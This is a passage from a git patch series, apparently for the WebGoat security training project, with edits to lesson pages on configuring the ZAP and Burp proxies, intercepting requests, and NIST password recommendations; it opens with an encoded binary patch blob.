zAKt=K3gkaxPpMkN@Y!LP)U?JF358Y$1HV|sZ0Xh|g}IvOs;5og^uyp)PdJ7sG6E={ z!un86KIO2{d#b4$z1EzpZOX<%H7ver0TTr4;i)>?0b}F%9-VAql6xzZ&hX_6{M7v>w+i;pc4pPoE8uHwyCG)fZB6=SWr{uYT7{9J zouj&?zQML1su(kA64BuPK74^adSOr6mSjN^8UWJpN6y#10VQ0$KguFR=YI$n?1!I8 zLAr-f@G&rPbbL;36=YmSuK~O?gBGCVbRe*^w`(NetVNi`?B+DJ=2vN;k^i}$-Y_EH z&b@j@{>tgF5P_ZOZR&Iw`7F@RuZ9^i;h+4DIW`4dKQXm=*)IR;8F64aQ-gu5=Qla^ zv^R!}UfM$8#TZyKAnLn*JF>&?c9h#j^)0a3QgQaI9baV@6~-|B;GBG^XJ3UHcOkL< z5(0Pn>`%^8AE!u(8B z1w_D_(kfvjRb<;Q&u;OeKKc_#&@l|4?~La!ixtX>4u~BT07Pyj0!#Cm>ke{#Pf( zlaW6TcsezTS2zCxxwz19>#Pl4px_z5p>7=3ErX0UfFJP1R?#$&-gk9tEP&GR@D>N_ zjva!^=kNnnOc_ORZUt$35d|3-hXO|akLPdd+9i=~^Y%drUJFh8z-zjM$lqb3vX>w@W=eQ<)`SlDsUE}ef0(}D)?hjL}y;j<4LP$7^Im~zOGB?Y!;1HY`r6kYB3~MBD$?|ov&(sOz!_|7|VnD zmNj=`$2Aru)>eK2@ForQuB<4S?eix!QpNTfAoB2ZQ0Jr$l<869&@Y{l(ZVbmBy7DC z=nN(Hm^bbcndAR>NdXfd2rtYt9h;!KS(*aG^h~LDyaKYXkMGdhFkjG6UxE*j>&9Re zM!$w_)c+K7uC39MLGdt`LUqW@nl5r&J7ckH&K~0)%3%8^D`yy`%24~y+Co=)s|t&+ zE;@3ImR~)=bZ)sXyNYI#Z*^LsS!%E&K_vdjOp7N8$d|CV$TZQIe?MBLlEQ<~U?kh| zo6xZRlW~oWZWaOgN}>i0jwJOD@1!h81`_IfW`{nAcDx)sHu}lj4+4t1HYo}^#&aM= zV$?Ok021TRb+@pMKB`}nr}L_x5SoCAG&{Zo0-+Qg!CrCeYLt^+!Ph@K1R1#O?EiI4 zkB=e9?VKR9v5zqolfnp%`-c*44WPcyElTjMo#!>$__*X(M-Vv*i*(AZR?QHyjk{K9 zu#CBEl3G!}ELNUFFPk17Mcy>JV^Rs>o!zK?d5?g^4HWA8H%Y1$*vu2>#L7JaO4@CW z#%xE5k@BO#qw@EWfukSWuP>^AWb7SX$IiM%$IQ}Q6su7R12d~P+;g$^PT!Plmfw9A zUZkl|mF;Qt-vIYyAR$PHp1>Sc1*XrVm$}5J-_gQ%S zNKi>+@^WmQVWD8J670_II7y_TmeiOY`5B?sd~z4YC^Dtko(tPAil2>jx@UbSS1Mmz zvO2`!VJwu7I3rgYXtRj?o%IegUs{LF*$NB_x)#L)hXrp_ zSc}9^|M?|#j%U7be;hi`GCPFU^vGe;<2spVb-G=M1F>e%Qp;GDh%&m!l+sg)iym3J z!eoTFX91|VLBF{sOG`+>3?6dq7cBEQCFwS57Ja5DPBwSrQqPU)C^DS>1c0|5w{-UjdRA4OAnt?<@G7#`(g?s3z zyHy>N7etzEpPSOY4V(@TW(giIvaC*gaYMa(m|Mj>E@H+@@6R|dMi{PaJfL!Fy3>B! zx#Ra)Ud3)yFCl(9?zME|L+C_y@uI3v{Fi(OaGj%G0NDQZZ)B;t~%QL zRm!erL}2#S;eabks2=XZq_1M7EtQKR-w@U{{$Fa5d@ zU@p;LPFaVK?vPRvsKdSq`La{BT539-^^W?C&U*Ld4}8RVsgBq99`ErlL9J3-&J7Ah{e%qLUab zbptnMbYPhQ%eyUDsKN9@PY)DR+(|bAc&?qUFM3InXd8~OZB>;K)rr!zG5XG+p87p!$Bx;@`mw_zs9S5YFqnTT;tNRRm z9EFH6{TaE(zN*fxG+PTQbR%-HZMe@OXn%tZd)|}#KAoFG>f=O(pSxA(c!W+jo~vz| z*eE&)(^S~`3H=P3>-4^Zf2v`*0ngu%(RbX1cSY%KV$cy2i*WZOz4|D}1I5EscxQbE z%{MqHXR0hW+P1QAF%)*XK46*3+;)BGalCn7dp?({hX~_5tP8Lkzk0TE=-u?=#-x^= zcXV!9%T)=-x|yDBaT#}nC*Q=?b5aAH50b05WR+=!Nb+D>6}?!i(NRMck+u3-(1UjM z`bFn-x1cXwE`oC6fzGL(&LmFExv3z0OEo?(A9kUz&TPJw{ft9DXcuZfc#c z3s)KZB0d+%6EHpQ#F)GQA~=jUzK_`!I?{Mt$zBQA@bbyrYr8Ly|`k+i%ZWdrHa>?{Dj93 ohcURNz|Upme=$EkouY2+R{CJL@Dcx;AfuJabv5POtB*YY2M%c1TL1t6 diff --git a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/1proxysetupsteps.adoc b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/1proxysetupsteps.adoc index 312f90180..a113bb9b4 100644 --- a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/1proxysetupsteps.adoc +++ b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/1proxysetupsteps.adoc @@ -3,11 +3,8 @@ Since this is an OWASP project, we'll be using OWASP ZAP. If you are comfortable using another proxy (e.g. Burp), you can skip this. Otherwise, this will show you how to set up ZAP to act as a proxy on your localhost. -=== link:start.mvc#lesson/HttpProxies.lesson/2[Setting up ZAP 2.8.0] - -* First download and install ZAP 2.8.0 for your operating system +* First download and install https://www.zaproxy.org/download/[ZAP] for your operating system * Start ZAP -* Configure the proxy to use a free port, e.g. 8090 * Start the browser directly from ZAP diff --git a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/2zapsetup.adoc b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/2zapsetup.adoc deleted file mode 100644 index 51e375c4d..000000000 --- a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/2zapsetup.adoc +++ /dev/null @@ -1,22 +0,0 @@ - -== Setting up ZAP 2.8.0 - -. First download and install ZAP 2.8.0 for your operating system -. Start ZAP -. Configure the proxy to use a free port, e.g. 8090 - -=== Start ZAP - -image::images/zap-start.png[ZAP start,style="lesson-image"] - -=== Configure Proxy's Port - -* Select Tools > Options from the menu -* Select Local Proxy on the left -* Choose an available port ... Since WebGoat is (or will be) using port 8080, use something different like 8090 -* Click OK - -image::images/zap-local-proxy-8090.png[ZAP local proxy,style="lesson-image"] - -In the options menu, you can also change the language. By default it is set with the language setting of your operating system. The examples are shown in English. - diff --git a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/3browsersetup.adoc b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/3browsersetup.adoc index 1d79487ac..981fec9e1 100644 --- a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/3browsersetup.adoc +++ b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/3browsersetup.adoc @@ -1,4 +1,4 @@ -== Setting up browser +=== Setting up browser If you use the latest ZAP version (>= 2.8.0) you only need to start ZAP and click the browser button to be able to proxy, see image below: From 32a41debad8b7e57bb74c3990815f799418d2685 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 14 Nov 2021 16:58:59 +0100 Subject: [PATCH 095/227] Fix spelling/grammar and reference to ZAP 2.8.0 Resolves: #1141 --- .../resources/lessonPlans/en/0overview.adoc | 30 +++++++++++++------ .../main/resources/lessonPlans/en/10burp.adoc | 28 +++++++++-------- .../lessonPlans/en/1proxysetupsteps.adoc | 9 +++--- .../lessonPlans/en/3browsersetup.adoc | 28 +++++++++-------- .../en/5configurefilterandbreakpoints.adoc | 15 +++------- .../resources/lessonPlans/en/6assignment.adoc | 22 ++++++++------ .../resources/lessonPlans/en/7resend.adoc | 27 +++++++++-------- .../resources/lessonPlans/en/8httpsproxy.adoc | 12 ++++---- .../resources/lessonPlans/en/9manual.adoc | 22 +++++++------- 9 files changed, 104 insertions(+), 89 deletions(-) diff --git a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/0overview.adoc b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/0overview.adoc index a5d60970e..7d6434d94 100644 --- a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/0overview.adoc +++ b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/0overview.adoc @@ -1,17 +1,29 @@ +==== What's an HTTP Proxy -== What's a HTTP Proxy +A proxy is some forwarder application that connects your HTTP client to backend resources. +HTTP clients can be browsers or applications like curl, SOAP UI, Postman, etc. +Usually, these proxies are used for routing and getting internet access when there is no direct connection to the internet from the client itself. +HTTP proxies are therefore also ideal when you are testing your application. +You can always use the proxy log records to see what was actually sent from client to server. +So you can check the request and response headers and the XML, JSON, or other payloads. -A proxy is some forwarder application that connects your http client to backend resources. HTTP clients can be browsers, or applications like curl, SOAP UI, Postman, etc. Usually these proxies are used for routing and getting access to internet when there is no direct connection to internet from the client itself. -HTTP proxies are therefore also ideal when you are testing your application. You can always use the proxy log records to see what was actually sent from client to server. So you can check the request and response headers and the XML, JSON or other payload. +HTTP Proxies receive requests from a client and relay them. +They also typically record them. +They act as a man-in-the-middle. +It even works fine with or without HTTPS as long as your client or browser trusts the certificate of the HTTP Proxy. -HTTP Proxies receive requests from a client and relay them. They also typically record them. They act as a man-in-the-middle. It even works fine with or without HTTPS as long as your client or browser trusts the certificate of the HTTP Proxy. +{nbsp} + -=== ZAP Proxy Capabilities +==== ZAP Proxy Capabilities -With ZAP you can record traffic, inspect traffic, modify requests and response from and to your browser, and get reports on a range of known vulnerabilities that are detected by ZAP through the inspection of the traffic. The passive and active reporting on security issues is usually used in Continuous Delivery pipelines that use a GUI-less ZAP. Here we will use ZAP interactively and mainly to see and modify requests in order to find vulnerabilities and solve assignments. -ZAP has a graphical user interface, but now also has a HUD Heads-On-Display which uses a websocket connection between the browser and the ZAP proxy. +With ZAP, you can record traffic, inspect traffic, modify requests and responses from and to your browser, and get reports on a range of known vulnerabilities that ZAP detects through the inspection of the traffic. +The passive and active reporting on security issues is usually used in Continuous Delivery pipelines that use a GUI-less ZAP. +Here we will use ZAP interactively and mainly to see and modify requests to find vulnerabilities and solve assignments. +ZAP has a graphical user interface but now also has a HUD Heads-On-Display, which uses a web socket connection between the browser, and the ZAP proxy. -=== Next pages +{nbsp} + + +==== Next pages You can go through all lesson pages or click on these links to skip some pages. @@ -19,4 +31,4 @@ You can go through all lesson pages or click on these links to skip some pages. * link:start.mvc#lesson/HttpProxies.lesson/5[Filtering] requests with ZAP * link:start.mvc#lesson/HttpProxies.lesson/6[A proxy assignment] with ZAP * link:start.mvc#lesson/HttpProxies.lesson/7[Replaying requests] with ZAP -* link:start.mvc#lesson/HttpProxies.lesson/8[Replaying requests] with Burp \ No newline at end of file +* link:start.mvc#lesson/HttpProxies.lesson/8[Replaying requests] with Burp diff --git a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/10burp.adoc b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/10burp.adoc index 290f4693d..220ff75bb 100644 --- a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/10burp.adoc +++ b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/10burp.adoc @@ -1,36 +1,38 @@ -== Burp +=== Burp Proxy -Another proxy that is used a lot is Burp. One of the exercises in WebGoat can only be resolved with Burp and not yet with OWAP ZAP. -Burp can only be configured manually, please follow the steps described link:start.mvc#lesson/HttpProxies.lesson/8[here] first. -Burp community edition can be downloaded as a plain jar file https://portswigger.net/burp/communitydownload[Burp download,window=_blank] +Another proxy you can use is Burp. One of the exercises in WebGoat can only be resolved with Burp and not yet with OWAP ZAP. +You can only configure Burp manually. Please follow the steps described link:start.mvc#lesson/HttpProxies.lesson/8[here] first. +You can download the Burp community edition as a https://portswigger.net/burp/communitydownload[plain jar file,window=_blank] - java -jar burpsuite_community_v2.1.04.jar - -Ignore the warning on using JDK11. -Choose `temporary project`, followed by `use burp defaults`. +[source] +---- +java -jar burpsuite_community_v2.1.04.jar +---- + +Choose `temporary project`, followed by `use burp defaults.` Go to the proxy options and change it to use port 8090 image::images/burpproxy.png[Burp proxy options,style="lesson-image"] -On this page you can also export the Burp certificate and import it into your browser. Similar as in the instructions in previous pages. +On this page, you can also export the Burp certificate and import it into your browser. Similar to the instructions in previous pages. -Go to the proxy intercept page and click on the toggle so that intercept is switched off. (By default nd in the picture below it is switched on) +Go to the proxy intercept page and click on the toggle so that intercept is switched off. (By default nd in the picture below, it is switched on) image::images/burpintercept.png[Burp intercept,style="lesson-image"] -The start a browser connected to the proxy and start using WebGoat. +Then start a browser connected to the proxy and start using WebGoat. Now adjust the intercept request setting by extending the rule on what not to intercept: image::images/burpfilterclient.png[Burp client request filter,style="lesson-image"] Use e.g.: (\^mvc$|^txt$|\^woff$|^lesson$|\^gif$|^jpg$|\^png$|^css$|\^js$|^ico$) -Then enable the intercept by click on the earlier mentioned toggle. +Then enable the intercept by clicking on the earlier mentioned toggle. An intercept will look like: image::images/burpintercepted.png[Burp client request filter,style="lesson-image"] -Finally you can look at the history and add filters for the history and replay requests, from this screen: +Finally, you can look at the history and add filters for the history and replay requests from this screen: image::images/burpfilter.png[Burp history,style="lesson-image"] diff --git a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/1proxysetupsteps.adoc b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/1proxysetupsteps.adoc index a113bb9b4..30952e5db 100644 --- a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/1proxysetupsteps.adoc +++ b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/1proxysetupsteps.adoc @@ -1,10 +1,11 @@ +==== HTTP Proxy Setup -== HTTP Proxy Setup - -Since this is an OWASP project, we'll be using OWASP ZAP. If you are comfortable using another proxy (e.g. Burp), you can skip this. Otherwise, this will show you how to set up ZAP to act as a proxy on your localhost. +Since this is an OWASP project, we'll be using OWASP ZAP. +If you are comfortable using another proxy (e.g., Burp), you can skip this. +Otherwise, this will show you how to set up ZAP as a proxy on your local host. * First download and install https://www.zaproxy.org/download/[ZAP] for your operating system -* Start ZAP +* Start ZAP * Start the browser directly from ZAP diff --git a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/3browsersetup.adoc b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/3browsersetup.adoc index 981fec9e1..4757ccb90 100644 --- a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/3browsersetup.adoc +++ b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/3browsersetup.adoc @@ -1,27 +1,29 @@ -=== Setting up browser +==== Setting up browser -If you use the latest ZAP version (>= 2.8.0) you only need to start ZAP and click the browser button to be able to -proxy, see image below: +If you use the latest ZAP version (>= 2.8.0), you only need to start ZAP and click the browser button to be able to proxy, see image below: + +{nbsp} + image::images/zap-browser-button.png[ZAP Start,style="lesson-image"] -{nbsp}+ +{nbsp} + -In the browser type: http://localhost:8080/WebGoat you should see WebGoat and the OWASP ZAP Heads On Display (if you use OWASP ZAP as the proxy): +In the browser type: http://localhost:8080/WebGoat, you should see WebGoat and the OWASP ZAP Heads On Display (if you use OWASP ZAP as the proxy): + +{nbsp} + image::images/loginscreen.png[Browser with HUD,style="lesson-image"] -You might notice that this is the dutch login screen. This is determined from the language settings from your browser. For some of the pages there will be some local translations. You can contribute to WebGoat and add more for your preferred language. -You can disable the Heads On Display by clicking on the highlighted button. -You can learn about the OWASP ZAP HUD on their website. For now it is recommended to disable it as it kind of blocks the menu items. +{nbsp} + + +You might notice that this is the Dutch login screen. The browser determines the language settings. For some pages, there will be some local translations. You can contribute to WebGoat and add more for your preferred language. You can disable the Heads On Display by clicking on the highlighted button. You can learn about the OWASP ZAP HUD on their website. For now, we recommend disabling it as it kind of blocks the menu items. You should see the following in OWASP ZAP on the history panel: +{nbsp} + + image::images/zap-history.png[ZAP History,style="lesson-image"] -On the next page we will show how you can filter these requests to see only relevant requests and how to configure the interceptor. - - - - +{nbsp} + +On the next page, we will show how to filter these requests to see only relevant requests and configure the interceptor. diff --git a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/5configurefilterandbreakpoints.adoc b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/5configurefilterandbreakpoints.adoc index aba7c9342..c642561bb 100644 --- a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/5configurefilterandbreakpoints.adoc +++ b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/5configurefilterandbreakpoints.adoc @@ -1,11 +1,10 @@ -=== Filter requests in history panel +==== Filter requests in history panel -In the main ZAP window click on Filter, see image below +In the main ZAP window, click on Filter; see the image below. image::images/zap-exclude.png[Exclude internal APIs from WebGoat,style="lesson-image"] -{nbsp} -{nbsp} +{nbsp} + Then in the `URL Inc Regex` box type: @@ -21,10 +20,4 @@ And in the `URL Exc Regex` box type: .*lesson.*.mvc ---- -Click 'Apply to close the window, ZAP will now no longer show internal WebGoat requests. - - - - - - +Click 'Apply to close the window, and ZAP will now no longer show internal WebGoat requests. diff --git a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/6assignment.adoc b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/6assignment.adoc index cb6fa0a43..da3a4a477 100644 --- a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/6assignment.adoc +++ b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/6assignment.adoc @@ -1,30 +1,34 @@ +==== Configure a breakpoint filter -=== Configure a breakpoint filter -Before we start diving into intercepting requests with ZAP we need to exclude the internal requests from the WebGoat -framework otherwise ZAP will also stop at all the requests which are only necessary for the internal working of WebGoat. -Basically a breakpoint is configured that will intercept requests when the request header contains a POST. Which are the most interesting ones. You can add other rules as long as the polling .mvc messages will be excluded. As this would be annoying. +Before we start diving into intercepting requests with ZAP, we need to exclude the internal requests from the WebGoat +framework. Otherwise, ZAP will also stop at all the requests which are only necessary for the inner working of WebGoat. +Basically, a breakpoint is configured that will intercept requests when the request header contains a POST. You can add other rules as long as the polling `.mvc` messages will be excluded. As this would be annoying. Set the breakpoint as follows: image::images/breakpoint.png[Set breakpoint,style="lesson-image"] -You can see your active breakpoints here. And if you click on the checkbox you can also temporarily deactivate them and enable them again when you are just about to intercept the request. *DO NOT use the green/red button anymore* +{nbsp} + + +You can see your active breakpoints here. And if you click on the checkbox, you can temporarily deactivate them and enable them again when you are just about to intercept the request. *DO NOT use the green/red button anymore* image::images/breakpoint2.png[Active breakpoints,style="lesson-image"] +{nbsp} + + Once you are intercepting requests and a request is made, it should look something like this: image::images/proxy-intercept-details.png[ZAP history tab,style="lesson-image"] -=== Intercept and modify a request +==== Intercept and modify a request -Set up the intercept as noted above and then submit the form/request below by clicking the submit button. When you request is intercepted (hits the breakpoint), +Set up the intercept as noted above and then submit the form/request below by clicking the submit button. When your request is intercepted (hits the breakpoint), modify it as follows. * Change the Method to GET * Add a header 'x-request-intercepted:true' -* Remove the request body and instead send 'changeMe' as query string parameter and set the value to 'Requests are tampered easily' (without the single quotes) +* Remove the request body and instead send 'changeMe' as a query string parameter and set the value to 'Requests are tampered easily' (without the single quotes) Then let the request continue through (by hitting the play button). -NOTE: The two play buttons behave a little differently, but we'll let you tinker and figure that out for yourself. \ No newline at end of file +NOTE: The two play buttons behave a little differently, but we'll let you tinker and figure that out for yourself. diff --git a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/7resend.adoc b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/7resend.adoc index 7a90ef913..0128859a4 100644 --- a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/7resend.adoc +++ b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/7resend.adoc @@ -1,28 +1,29 @@ -=== Use the "Edit and resend" functionality in ZAP +==== Use the "Edit and resend" functionality in ZAP -Another way to send a request again instead of clicking in WebGoat on a button and intercept the request there is also -an option to resend the same request again from within ZAP. -This may significantly help you to solve an assignment because you do not have to switch to ZAP enable the intercept button -and go back to WebGoat and perform the request again from within the browser. +Instead of intercepting the request, there is also an option to resend the same request again within ZAP. +It helps you solve an assignment because you do not have to switch to ZAP, enable the intercept button, go back to WebGoat and perform the request again from within the browser. -Let's look at an example, we are going to use the e-mail example from the WebWolf introduction lesson. This lesson -will generate a request for `/WebGoat/WebWolf/mail`, in the "History" window select the URL you want to resend right click +Let's look at an example. We are going to use the e-mail example from the WebWolf introduction lesson. This lesson +will generate a request for `/WebGoat/WebWolf/mail`, in the "History" window, select the URL you want to resend right click on the URL and select `Open/Resend with Request Editor`. You can also find the request in the left pane of ZAP as indicated with the red arrow in the image below: image::images/zap_edit_and_resend.png[Open/Resend with Request Editor,style="lesson-image"] -{nbsp} +{nbsp} + -A new window will open and here you can modify the request for example change the e-mail address to someone else and send it again. -In the response tab you can inspect the response of the request. In some assignments the response will show a solved message -but sometimes you get a code/flag which you need to submit in WebGoat in order to complete the assignment. Always be on the -lookout for the response. If you solved the assignment by make a request in this way WebGoat will automatically mark +A new window will open, and here, you can modify the request, for example, change the e-mail address to someone else and send it again. +In the response tab, you can inspect the response of the request. The response will show a solved message in some assignments, but sometimes you get a code/flag that you need to submit in WebGoat to complete the assignment. Always be on the +lookout for a response. If you solved the assignment by making a request, WebGoat would automatically mark the lesson as solved. image::images/zap_edit_and_send.png[Open/Resend with Request Editor,style="lesson-image"] -{nbsp} +{nbsp} + + +++++ + +++++ image::images/zap_edit_and_response.png[Open/Resend response,style="lesson-image"] diff --git a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/8httpsproxy.adoc b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/8httpsproxy.adoc index d16302cbf..192a1953f 100644 --- a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/8httpsproxy.adoc +++ b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/8httpsproxy.adoc @@ -1,14 +1,14 @@ -== Proxy from ZAP to https +== Proxy from ZAP to HTTPS -The OWASP ZAP proxy can also be configured to proxy *https* requests. It will terminate the https connection in OWASP Zap and then proxy it to the target using its own keystore. You can even proxy to sites with mutual TLS. In that case you configure OWASP ZAP with the keystore and key to use for the connection. +The ZAP proxy can also be configured to proxy *HTTPS* requests. It will terminate the HTTPS connection in ZAP and then proxy it to the target using its keystore. You can even proxy to sites with mutual TLS. In that case, you configure OWASP ZAP with the keystore and key to use for the connection. -Go to Tools/Options/Client Certificate if you want to proxy to a mutual TLS https site. +Go to Tools/Options/Client Certificate to proxy to a mutual TLS HTTPS site. Go to Tools/Options/Connection if you want to set timeouts and want to force the use of TLSv1.2 e.g. === Export the certificate -Depending on the local installation of tools, ZAP can start a browser directly with some adjusted options like network settings and certificate adjustments. However, this step should be done if you want to start your browser independently of ZAP. To be able to use the browser, the browser needs the certificate, which can be exported here: +Depending on the local tools installation, ZAP can start a browser directly with some adjusted options like network settings and certificate adjustments. However, you should do this step if you want to start your browser independently of ZAP. To be able to use the browser, the browser needs the certificate, which you can export here: image::images/rootca.png[ZAP root CA,style="lesson-image"] image::images/savecerts.png[ZAP save CA,style="lesson-image"] @@ -20,8 +20,8 @@ image::images/savecerts.png[ZAP save CA,style="lesson-image"] . Go to your Firefox Preferences (Mac, Linux) or Options (Windows) from the menu.` . Search for _certificates_ . Click _View certificates_ -. Import the ZAP root certificate that was saved (see previous page) +. Import the ZAP root certificate that was saved (see the previous page) image::images/firefoxsettingscerts.png[Firefox Certificates,width="75%",style="lesson-image"] -image::images/importcerts.png[Firefox Cetificate import,width="75%",style="lesson-image"] +image::images/importcerts.png[Firefox Certificate import,width="75%",style="lesson-image"] diff --git a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/9manual.adoc b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/9manual.adoc index ae5106ebe..ab087170f 100644 --- a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/9manual.adoc +++ b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/9manual.adoc @@ -6,43 +6,43 @@ In the latest release of Chrome and Firefox no longer proxy traffic from localho === Option 1: Change settings of your browser -- To proxy localhost (and related addresses) with newer Firefox versions (>= 67) the preference network.proxy.allow_hijacking_localhost (accessible through the about:config page) must be set to true. +- To proxy localhost (and related addresses) with newer Firefox versions (>= 67), the preference network. proxy.allow_hijacking_localhost (accessible through the about:config page) must be set to true. - To proxy localhost (and related addresses) with newer Chrome versions (>= 72) the command line argument --proxy-bypass-list=<-loopback> must be provided. === Option 2: Use www.webgoat.local -- Use the host name of your machine instead of `localhost`, you can find or add a host name in `/etc/hosts` on Linux and MacOSX and `C:\Windows\System32\drivers\etc` on Windows +- Use the hostname of your machine instead of `localhost`. You can find or add a hostname in `/etc/hosts` on Linux and MacOSX and `C:\Windows\System32\drivers\etc` on Windows image::images/newlocalhost.png[Hosts file,style="lesson-image"] -Then in your browser use http://www.webgoat.local:8080/WebGoat as the address. +Then in your browser, use http://www.webgoat.local:8080/WebGoat as the address. === Configure browser to use proxy -To manually configure a proxy in the browser follow one of the configuration below: +To manually configure a proxy in the browser, follow one of the configurations below: ==== Firefox Proxy Config . Go to your Firefox Preferences (Mac, Linux) or Options (Windows) from the menu.` . Select _Advanced_ on the left -. Select _Network_ in the in Advanced Pane +. Select _Network_ in the Advanced Pane . Click _Settings_ . Select _Manual proxy configuration_ -.. input *127.0.0.1* as the Proxy (or www.webgoat.local depending on the choice you made above) -.. input *8090* as the port if running WebGoat locally and you updated ZAP to 8090 (otherwise, use *8080*) +.. input *127.0.0.1* as the proxy (or www.webgoat.local depending on the choice you made above) +.. input *8090* as the port if running WebGoat locally, and you updated ZAP to 8090 (otherwise, use *8080*) .. check the _Use this proxy server for all protocols_ checkbox image::images/firefox-proxy-config.png[Firefox Proxy Config,510,634,style="lesson-image"] ==== Chrome Proxy Config -. Bring up Chrome's settings form the menu -. In the _Search settings_ box type in *proxy* and hit Enter/Return. This should bring up the Network heading with a _Change proxy settings_ button. +. Bring up Chrome's settings from the menu +. In the _Search settings_ box, type in *proxy* and hit Enter/Return. This should bring up the Network heading with a _Change proxy settings_ button. . Click the _Change proxy settings_ button . Select the _proxies_ tab . Select Web Proxy (HTTP) -. Input 127.0.0.1 (or www.webgoatl.local depending on the choice you made) in the first box under _Web Proxy Server_ and your port # (8090 if running WebGoat locally, otherwise 8080) in the second box (to the right) -. You may also want to clear the _Bypass proxy settings for these Hosts & Domains_ text input at the bottom, but shouldn't need to +. Input 127.0.0.1 (or www.webgoat.local depending on the choice you made) in the first box under _Web Proxy Server_ and your port # (8090 if running WebGoat locally, otherwise 8080) in the second box (to the right) +. You may also want to clear the _Bypass proxy settings for these Hosts & Domains_ text input at the bottom but shouldn't need to image::images/chrome-manual-proxy.png[Chrome Proxy Config,700,447,style="lesson-image"] From b23b4287633195710c366d86efade5bf04b68e1e Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Mon, 15 Nov 2021 21:39:32 +0100 Subject: [PATCH 096/227] Fix spelling/grammar Resolves: #1143 --- .../lessonPlans/en/SecurePasswords_1.adoc | 6 ++- .../lessonPlans/en/SecurePasswords_2.adoc | 48 +++++++++---------- .../lessonPlans/en/SecurePasswords_3.adoc | 24 +++++----- .../lessonPlans/en/SecurePasswords_4.adoc | 45 +++++++++-------- ...curePasswords_assignment_introduction.adoc | 6 +-- .../lessonPlans/en/SecurePasswords_intro.adoc | 7 ++- 6 files changed, 67 insertions(+), 69 deletions(-) diff --git a/webgoat-lessons/secure-passwords/src/main/resources/lessonPlans/en/SecurePasswords_1.adoc b/webgoat-lessons/secure-passwords/src/main/resources/lessonPlans/en/SecurePasswords_1.adoc index ca61d8c47..fa8c7d095 100644 --- a/webgoat-lessons/secure-passwords/src/main/resources/lessonPlans/en/SecurePasswords_1.adoc +++ b/webgoat-lessons/secure-passwords/src/main/resources/lessonPlans/en/SecurePasswords_1.adoc @@ -1,8 +1,10 @@ -== National Institute of Standards and Technology (NIST) +=== National Institute of Standards and Technology (NIST) + The National Institute of Standards and Technology (NIST) is a non-regulatory federal agency within the U.S. Department of Commerce. + Its mission is to promote U.S. innovation and industrial competitiveness by advancing measurement science, standards, and technology in ways that enhance economic security and improve our quality of life. -NIST develops Federal Information Processing Standards (FIPS) which the Secretary of Commerce approves and with which federal agencies must comply. +NIST develops Federal Information Processing Standards (FIPS), which the Secretary of Commerce approves and federal agencies must comply with. NIST also provides guidance documents and recommendations through its Special Publications (SP) 800-series. These guidelines often become the foundation for best practice recommendations across the security industry and are incorporated into other standards. diff --git a/webgoat-lessons/secure-passwords/src/main/resources/lessonPlans/en/SecurePasswords_2.adoc b/webgoat-lessons/secure-passwords/src/main/resources/lessonPlans/en/SecurePasswords_2.adoc index 3abc649f8..695a4daea 100644 --- a/webgoat-lessons/secure-passwords/src/main/resources/lessonPlans/en/SecurePasswords_2.adoc +++ b/webgoat-lessons/secure-passwords/src/main/resources/lessonPlans/en/SecurePasswords_2.adoc @@ -1,42 +1,40 @@ -== NIST password standard +=== NIST password standard The NIST password standard (also known as the https://pages.nist.gov/800-63-3/sp800-63b.html[Special Publications (SP) 800-series]) is a guideline that provides recommendations for implementing secure password systems. -=== Password rules +==== Password rules Here are some of the most important recommendations made by the most recent NIST standard: - *no composition rules* + - Do not request the user to e.g. use at least one upper case letter and a special character on their password. - Give them the opportunity to, but do not force them! +Do not request the user to, e.g., use at least one upper case letter and a special character on their password. +Please give them the opportunity to, but do not force them! - *no password hints* + - If you wanted people have a better chance at guessing your password, write it on a note attached to your screen. +If you wanted people to have a better chance at guessing your password, write it on a note attached to your screen. - *no security questions* + - Security questions, also known as 